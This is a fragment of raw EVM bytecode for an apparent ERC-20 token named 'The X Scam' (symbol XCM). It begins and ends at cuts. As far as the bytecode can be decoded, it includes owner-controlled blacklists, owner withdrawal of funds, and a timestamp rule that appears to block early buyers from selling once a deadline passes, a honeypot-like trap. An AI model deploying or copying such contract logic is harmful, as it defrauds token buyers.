f73565b9050919050565b62000fb28162000f93565b811462000fbe57600080fd5b50565b60008151905062000fd28162000fa7565b92915050565b60006020828403121562000ff15762000ff062000f6e565b5b6000620010018482850162000fc1565b91505092915050565b620010158162000f93565b82525050565b60006040820190506200103260008301856200100a565b6200104160208301846200100a565b9392505050565b620010538162000ebb565b82525050565b600060208201905062001070600083018462001048565b92915050565b600082825260208201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000620010e560248362001076565b9150620010f28262001087565b604082019050919050565b600060208201905081810360008301526200111881620010d6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006200117d60228362001076565b91506200118a826200111f565b604082019050919050565b60006020820190508181036000830152620011b0816200116e565b9050919050565b614ae280620011c76000396000f3fe60806040526004361061023f5760003560e01c80638da5cb5b1161012e578063cfe9dde0116100ab578063f2fde38b1161006f578063f2fde38b146108bc578063f837ae07146108e5578063f887ea401461090e578063f8b45b0514610939578063f9d0ee941461096457610246565b8063cfe9dde0146107db578063d14aae6614610804578063dd62ed3e1461082d578063e27e65881461086a578063e4b994091461089357610246565b8063a9059cbb116100f2578063a9059cbb146106df578063b72a47341461071c578063ca1c81ae14610745578063cc1776d314610782578063cdcfa74a146107b057610246565b80638da5cb5b146105f8578063921cacef1461062357806395d89b411461064c578063a457c2d714610677578063a8aa1b31146106b457610246565b80634f7041a5116101bc57806370d8da531161018057806370d8da5314610527578063715018a614610550578063768dc710146105675780638305e2e3146105a45780638c0b5e22146105cd57610246565b80634f7041a51461044f578063610ec8231461047d578063698f6983146104aa5780636a49ccbb146104c157806370a08231146104ea57610246565b806323b872dd1161020357806323b872dd1461034457806328c61f4114610381578063313ce567146103be57806339509351146103e95780634ba422bc1461042657610246565b806306fdde031461024b578063095ea7b31461027657806318160ddd146102b35780631cdd3be3146102de5780631e17989e1461031b57610246565b3661024657005b600080fd5b34801561025757600080fd5b50610260610992565b60405161026d91906134b5565b60405180910390f35b34801561028257600080fd5b5061029d6004803603810190610298919061357f565b6109cf565b6040516102aa91906135da565b60405180910390f35b3480156102bf57600080fd5b506102c86109ed565b6040516102d59190613604565b60405180910390f35b3480156102ea57600080fd5b506103056004803603810190610300919061361f565b6109f7565b60405161031291906135da565b60405180910390f35b34801561032757600080fd5b50610342600480360381019061033d9190613678565b610a17565b005b34801561035057600080fd5b5061036b600480360381019061036691906136b8565b610aee565b60405161037891906135da565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a3919061361f565b610ba6565b6040516103b591906135da565b60405180910390f35b3480156103ca57600080fd5b506103d3610bc6565b6040516103e09190613727565b60405180910390f35b3480156103f557600080fd5b50610410600480360381019061040b919061357f565b610bcf565b60405161041d91906135da565b60405180910390f35b34801561043257600080fd5b5061044d60048036038101906104489190613742565b610c7b565b005b34801561045b57600080fd5b50610464610dc1565b6040516104749493929190613782565b60405180910390f35b34801561048957600080fd5b50610492610e13565b6040516104a1939291906137d6565b60405180910390f35b3480156104b657600080fd5b506104bf610e8c565b005b3480156104cd57600080fd5b506104e860048036038101906104e39190613839565b610f1e565b005b3480156104f657600080fd5b50610511600480360381019061050c919061361f565b6110f0565b60405161051e9190613604565b60405180910390f35b34801561053357600080fd5b5061054e60048036038101906105499190613742565b611139565b005b34801561055c57600080fd5b506105656111df565b005b34801561057357600080fd5b5061058e6004803603810190610589919061361f565b611267565b60405161059b91906135da565b60405180910390f35b3480156105b057600080fd5b506105cb60048036038101906105c691906138a0565b611287565b005b3480156105d957600080fd5b506105e2611390565b6040516105ef9190613604565b60405180910390f35b34801561060457600080fd5b5061060d611396565b60405161061a91906138cd565b60405180910390f35b34801561062f57600080fd5b5061064a600480360381019061064591906138e8565b6113bf565b005b34801561065857600080fd5b50610661611503565b60405161066e91906134b5565b60405180910390f35b34801561068357600080fd5b5061069e6004803603810190610699919061357f565b611540565b6040516106ab91906135da565b60405180910390f35b3480156106c057600080fd5b506106c96115ec565b6040516106d691906138cd565b60405180910390f35b3480156106eb57600080fd5b506107066004803603810190610701919061357f565b611612565b60405161071391906135da565b60405180910390f35b34801561072857600080fd5b50610743600480360381019061073e9190613678565b611630565b005b34801561075157600080fd5b5061076c6004803603810190610767919061361f565b611707565b6040516107799190613604565b60405180910390f35b34801561078e57600080fd5b5061079761171f565b6040516107a79493929190613782565b60405180910390f35b3480156107bc57600080fd5b506107c5611771565b6040516107d29190613604565b60405180910390f35b3480156107e757600080fd5b5061080260048036038101906107fd9190613a83565b611777565b005b34801561081057600080fd5b5061082b60048036038101906108269190613839565b611888565b005b34801561083957600080fd5b50610854600480360381019061084f9190613adf565b611a5a565b6040516108619190613604565b60405180910390f35b34801561087657600080fd5b50610891600480360381019061088c919061357f565b611ae1565b005b34801561089f57600080fd5b506108ba60048036038101906108b59190613b1f565b611bb0565b005b3480156108c857600080fd5b506108e360048036038101906108de919061361f565b611cc8565b005b3480156108f157600080fd5b5061090c60048036038101906109079190613678565b611dbf565b005b34801561091a57600080fd5b50610923611e96565b6040516109309190613be5565b60405180910390f35b34801561094557600080fd5b5061094e611ebc565b60405161095b9190613604565b60405180910390f35b34801561097057600080fd5b50610979611ec2565b6040516109899493929190613c00565b60405180910390f35b60606040518060400160405280600a81526020017f5468652058205363616d00000000000000000000000000000000000000000000815250905090565b60006109e36109dc611ee0565b8484611ee8565b6001905092915050565b6000600c54905090565b60076020528060005260406000206000915054906101000a900460ff1681565b610a1f611ee0565b73ffffffffffffffffffffffffffffffffffffffff16610a3d611396565b73ffffffffffffffffffffffffffffffffffffffff1614610a93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8a90613c91565b60405180910390fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000610afb8484846120b1565b610b9b84610b07611ee0565b84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b51611ee0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b969190613ce0565b611ee8565b600190509392505050565b60066020528060005260406000206000915054906101000a900460ff1681565b60006009905090565b6000610c71610bdc611ee0565b848460046000610bea611ee0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c6c9190613d14565b611ee8565b6001905092915050565b610c83611ee0565b73ffffffffffffffffffffffffffffffffffffffff16610ca1611396565b73ffffffffffffffffffffffffffffffffffffffff1614610cf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cee90613c91565b60405180910390fd5b60006009600a610d079190613e7b565b6103e86005600c54610d199190613ec6565b610d239190613f37565b610d2d9190613f37565b9050808310158015610d3f5750808210155b610d7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7590613fb4565b60405180910390fd5b6009600a610d8c9190613e7b565b83610d979190613ec6565b600e819055506009600a610dab9190613e7b565b82610db69190613ec6565b600f81905550505050565b60148060000160009054906101000a900460ff16908060000160019054906101000a900460ff16908060000160029054906101000a900460ff16908060000160039054906101000a900460ff16905084565b6000806000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16925092509250909192565b610e94611ee0565b73ffffffffffffffffffffffffffffffffffffffff16610eb2611396565b73ffffffffffffffffffffffffffffffffffffffff1614610f08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eff90613c91565b60405180910390fd5b600a5442610f169190613d14565b600981905550565b610f26611ee0565b73ffffffffffffffffffffffffffffffffffffffff16610f44611396565b73ffffffffffffffffffffffffffffffffffffffff1614610f9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9190613c91565b60405180910390fd5b600081838587610faa9190613fd4565b610fb49190613fd4565b610fbe9190613fd4565b60ff1690506014811115611007576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffe90614055565b60405180910390fd5b60405180608001604052808660ff1681526020018560ff1681526020018460ff1681526020018360ff16815250601460008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555060608201518160000160036101000a81548160ff021916908360ff1602179055509050507ff305e997be174eb1fbb444c89b9f4089de693e9b3b40486accc62ae99885e48060405160405180910390a15050505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611141611ee0565b73ffffffffffffffffffffffffffffffffffffffff1661115f611396565b73ffffffffffffffffffffffffffffffffffffffff16146111b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ac90613c91565b60405180910390fd5b6009600a6111c39190613e7b565b826111ce9190613ec6565b600d81905550806019819055505050565b6111e7611ee0565b73ffffffffffffffffffffffffffffffffffffffff16611205611396565b73ffffffffffffffffffffffffffffffffffffffff161461125b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125290613c91565b60405180910390fd5b6112656000612891565b565b60056020528060005260406000206000915054906101000a900460ff1681565b61128f611ee0565b73ffffffffffffffffffffffffffffffffffffffff166112ad611396565b73ffffffffffffffffffffffffffffffffffffffff1614611303576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fa90613c91565b60405180910390fd5b80471015611346576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133d906140c1565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561138c573d6000803e3d6000fd5b5050565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6113c7611ee0565b73ffffffffffffffffffffffffffffffffffffffff166113e5611396565b73ffffffffffffffffffffffffffffffffffffffff161461143b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143290613c91565b60405180910390fd5b82601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b60606040518060400160405280600381526020017f58434d0000000000000000000000000000000000000000000000000000000000815250905090565b60006115e261154d611ee0565b84846004600061155b611ee0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115dd9190613ce0565b611ee8565b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061162661161f611ee0565b84846120b1565b6001905092915050565b611638611ee0565b73ffffffffffffffffffffffffffffffffffffffff16611656611396565b73ffffffffffffffffffffffffffffffffffffffff16146116ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a390613c91565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60086020528060005260406000206000915090505481565b60158060000160009054906101000a900460ff16908060000160019054906101000a900460ff16908060000160029054906101000a900460ff16908060000160039054906101000a900460ff16905084565b60095481565b61177f611ee0565b73ffffffffffffffffffffffffffffffffffffffff1661179d611396565b73ffffffffffffffffffffffffffffffffffffffff16146117f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ea90613c91565b60405180910390fd5b60005b8251811015611883578160076000858481518110611817576118166140e1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061187b90614110565b9150506117f6565b505050565b611890611ee0565b73ffffffffffffffffffffffffffffffffffffffff166118ae611396565b73ffffffffffffffffffffffffffffffffffffffff1614611904576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fb90613c91565b60405180910390fd5b6000818385876119149190613fd4565b61191e9190613fd4565b6119289190613fd4565b60ff169050601e811115611971576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196890614055565b60405180910390fd5b60405180608001604052808660ff1681526020018560ff1681526020018460ff1681526020018360ff16815250601560008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555060608201518160000160036101000a81548160ff021916908360ff1602179055509050507ff305e997be174eb1fbb444c89b9f4089de693e9b3b40486accc62ae99885e48060405160405180910390a15050505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611ae9611ee0565b73ffffffffffffffffffffffffffffffffffffffff16611b07611396565b73ffffffffffffffffffffffffffffffffffffffff1614611b5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5490613c91565b60405180910390fd5b8042611b699190613d14565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b611bb8611ee0565b73ffffffffffffffffffffffffffffffffffffffff16611bd6611396565b73ffffffffffffffffffffffffffffffffffffffff1614611c2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2390613c91565b60405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8483600a611c569190614158565b85611c619190613ec6565b6040518363ffffffff1660e01b8152600401611c7e9291906141a3565b6020604051808303816000875af1158015611c9d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cc191906141e1565b5050505050565b611cd0611ee0565b73ffffffffffffffffffffffffffffffffffffffff16611cee611396565b73ffffffffffffffffffffffffffffffffffffffff1614611d44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3b90613c91565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611db3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611daa90614280565b60405180910390fd5b611dbc81612891565b50565b611dc7611ee0565b73ffffffffffffffffffffffffffffffffffffffff16611de5611396565b73ffffffffffffffffffffffffffffffffffffffff1614611e3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3290613c91565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f5481565b60108060000154908060010154908060020154908060030154905084565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4e90614312565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611fc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbd906143a4565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516120a49190613604565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612120576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211790614436565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361218f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612186906144c8565b60405180910390fd5b600081116121d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c99061455a565b60405180910390fd5b600e548111158061222c5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61226b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612262906145ec565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561230f5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61234e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234590614658565b60405180910390fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166123f857600f54816123ac846110f0565b6123b69190613d14565b11156123f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ee906146ea565b60405180910390fd5b5b600d54612404306110f0565b101580156124215750601954601a5461241d9190613d14565b4210155b801561243a5750601860149054906101000a900460ff16155b80156124945750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156124d357506124a3611396565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561251257506124e2611396565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156125205761251f612955565b5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461256f9190613ce0565b925050819055506000819050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561261f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156127d05761267f8285600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614612c49565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156126e057504260095410155b1561273b57600b54426126f39190613d14565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127cf565b6000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146127ce57600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442106127cd57600080fd5b5b5b5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461281f9190613d14565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516128839190613604565b60405180910390a350505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001601860146101000a81548160ff021916908315150217905550600060106002015460106001015460106000015461298e9190613d14565b6129989190613d14565b90506000811115612b8f5760006129ae82612f83565b9050600082601060000154836129c49190613ec6565b6129ce9190613f37565b9050600083601060010154846129e49190613ec6565b6129ee9190613f37565b905060008460106002015485612a049190613ec6565b612a0e9190613f37565b90506000831115612a8e57601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050158015612a81573d6000803e3d6000fd5b5060006010600001819055505b6000821115612b0c57601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612aff573d6000803e3d6000fd5b5060006010600101819055505b6000811115612b8a57601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612b7d573d6000803e3d6000fd5b5060006010600201819055505b505050505b60006010600301541115612bf85760006002601060030154612bb19190613f37565b9050600081601060030154612bc69190613ce0565b90506000612bd383612f83565b90506000811115612be957612be882826131dd565b5b60006010600301819055505050505b7fd9f20192eafa060dc85f5f8b3b0a5b9c106b02d5d1503335b857e50c2bb7003060405160405180910390a142601a81905550506000601860146101000a81548160ff021916908315150217905550565b60008060146040518060800160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900460ff1660ff1660ff1681526020016000820160029054906101000a900460ff1660ff1660ff1681526020016000820160039054906101000a900460ff1660ff1660ff168152505090508215612d595760156040518060800160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900460ff1660ff1660ff1681526020016000820160029054906101000a900460ff1660ff1660ff1681526020016000820160039054906101000a900460ff1660ff1660ff168152505090505b60006064826000015160ff1687612d709190613ec6565b612d7a9190613f37565b905060006064836020015160ff1688612d939190613ec6565b612d9d9190613f37565b905060006064846040015160ff1689612db69190613ec6565b612dc09190613f37565b905060006064856060015160ff168a612dd99190613ec6565b612de39190613f37565b90506000841115612e0b578360106000016000828254612e039190613d14565b925050819055505b6000831115612e31578260106001016000828254612e299190613d14565b925050819055505b6000821115612e57578160106002016000828254612e4f9190613d14565b925050819055505b6000811115612e7d578060106003016000828254612e759190613d14565b925050819055505b600081838587612e8d9190613d14565b612e979190613d14565b612ea19190613d14565b905080600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612ef29190613d14565b925050819055506000811115612f68573073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612f5f9190613604565b60405180910390a35b808a612f749190613ce0565b96505050505050509392505050565b6000804790506000600267ffffffffffffffff811115612fa657612fa5613940565b5b604051908082528060200260200182016040528015612fd45781602001602082028036833780820191505090505b5090503081600081518110612fec57612feb6140e1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613093573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130b7919061471f565b816001815181106130cb576130ca6140e1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061313230600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686611ee8565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401613196959493929190614845565b600060405180830381600087803b1580156131b057600080fd5b505af11580156131c4573d6000803e3d6000fd5b5050505081476131d49190613ce0565b92505050919050565b61320a30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611ee8565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719833086600080613258611396565b426040518863ffffffff1660e01b815260040161327a9695949392919061489f565b60606040518083038185885af1158015613298573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906132bd9190614915565b50915050600081836132cf9190613ce0565b111561332c5761332b81836132e49190613ce0565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661333190919063ffffffff16565b5b505050565b80471015613374576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161336b906149b4565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff168260405161339a90614a05565b60006040518083038185875af1925050503d80600081146133d7576040519150601f19603f3d011682016040523d82523d6000602084013e6133dc565b606091505b5050905080613420576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161341790614a8c565b60405180910390fd5b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561345f578082015181840152602081019050613444565b60008484015250505050565b6000601f19601f8301169050919050565b600061348782613425565b6134918185613430565b93506134a1818560208601613441565b6134aa8161346b565b840191505092915050565b600060208201905081810360008301526134cf818461347c565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613516826134eb565b9050919050565b6135268161350b565b811461353157600080fd5b50565b6000813590506135438161351d565b92915050565b6000819050919050565b61355c81613549565b811461356757600080fd5b50565b60008135905061357981613553565b92915050565b60008060408385031215613596576135956134e1565b5b60006135a485828601613534565b92505060206135b58582860161356a565b9150509250929050565b60008115159050919050565b6135d4816135bf565b82525050565b60006020820190506135ef60008301846135cb565b92915050565b6135fe81613549565b82525050565b600060208201905061361960008301846135f5565b92915050565b600060208284031215613635576136346134e1565b5b600061364384828501613534565b91505092915050565b613655816135bf565b811461366057600080fd5b50565b6000813590506136728161364c565b92915050565b6000806040838503121561368f5761368e6134e1565b5b600061369d85828601613534565b92505060206136ae85828601613663565b9150509250929050565b6000806000606084860312156136d1576136d06134e1565b5b60006136df86828701613534565b93505060206136f086828701613534565b92505060406137018682870161356a565b9150509250925092565b600060ff82169050919050565b6137218161370b565b82525050565b600060208201905061373c6000830184613718565b92915050565b60008060408385031215613759576137586134e1565b5b60006137678582860161356a565b92505060206137788582860161356a565b9150509250929050565b60006080820190506137976000830187613718565b6137a46020830186613718565b6137b16040830185613718565b6137be6060830184613718565b95945050505050565b6137d08161350b565b82525050565b60006060820190506137eb60008301866137c7565b6137f860208301856137c7565b61380560408301846137c7565b949350505050565b6138168161370b565b811461382157600080fd5b50565b6000813590506138338161380d565b92915050565b60008060008060808587031215613853576138526134e1565b5b600061386187828801613824565b945050602061387287828801613824565b935050604061388387828801613824565b925050606061389487828801613824565b91505092959194509250565b6000602082840312156138b6576138b56134e1565b5b60006138c48482850161356a565b91505092915050565b60006020820190506138e260008301846137c7565b92915050565b600080600060608486031215613901576139006134e1565b5b600061390f86828701613534565b935050602061392086828701613534565b925050604061393186828701613534565b9150509250925092565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6139788261346b565b810181811067ffffffffffffffff8211171561399757613996613940565b5b80604052505050565b60006139aa6134d7565b90506139b6828261396f565b919050565b600067ffffffffffffffff8211156139d6576139d5613940565b5b602082029050602081019050919050565b600080fd5b60006139ff6139fa846139bb565b6139a0565b90508083825260208201905060208402830185811115613a2257613a216139e7565b5b835b81811015613a4b5780613a378882613534565b845260208401935050602081019050613a24565b5050509392505050565b600082601f830112613a6a57613a6961393b565b5b8135613a7a8482602086016139ec565b91505092915050565b60008060408385031215613a9a57613a996134e1565b5b600083013567ffffffffffffffff811115613ab857613ab76134e6565b5b613ac485828601613a55565b9250506020613ad585828601613663565b9150509250929050565b60008060408385031215613af657613af56134e1565b5b6000613b0485828601613534565b9250506020613b1585828601613534565b9150509250929050565b60008060008060808587031215613b3957613b386134e1565b5b6000613b4787828801613534565b9450506020613b5887828801613534565b9350506040613b698782880161356a565b9250506060613b7a8782880161356a565b91505092959194509250565b6000819050919050565b6000613bab613ba6613ba1846134eb565b613b86565b6134eb565b9050919050565b6000613bbd82613b90565b9050919050565b6000613bcf82613bb2565b9050919050565b613bdf81613bc4565b82525050565b6000602082019050613bfa6000830184613bd6565b92915050565b6000608082019050613c1560008301876135f5565b613c2260208301866135f5565b613c2f60408301856135f5565b613c3c60608301846135f5565b95945050505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613c7b602083613430565b9150613c8682613c45565b602082019050919050565b60006020820190508181036000830152613caa81613c6e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613ceb82613549565b9150613cf683613549565b9250828203905081811115613d0e57613d0d613cb1565b5b92915050565b6000613d1f82613549565b9150613d2a83613549565b9250828201905080821115613d4257613d41613cb1565b5b92915050565b60008160011c9050919050565b6000808291508390505b6001851115613d9f57808604811115613d7b57613d7a613cb1565b5b6001851615613d8a5780820291505b8081029050613d9885613d48565b9450613d5f565b94509492505050565b600082613db85760019050613e74565b81613dc65760009050613e74565b8160018114613ddc5760028114613de657613e15565b6001915050613e74565b60ff841115613df857613df7613cb1565b5b8360020a915084821115613e0f57613e0e613cb1565b5b50613e74565b5060208310610133831016604e8410600b8410161715613e4a5782820a905083811115613e4557613e44613cb1565b5b613e74565b613e578484846001613d55565b92509050818404811115613e6e57613e6d613cb1565b5b81810290505b9392505050565b6000613e8682613549565b9150613e918361370b565b9250613ebe7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613da8565b905092915050565b6000613ed182613549565b9150613edc83613549565b9250828202613eea81613549565b91508282048414831517613f0157613f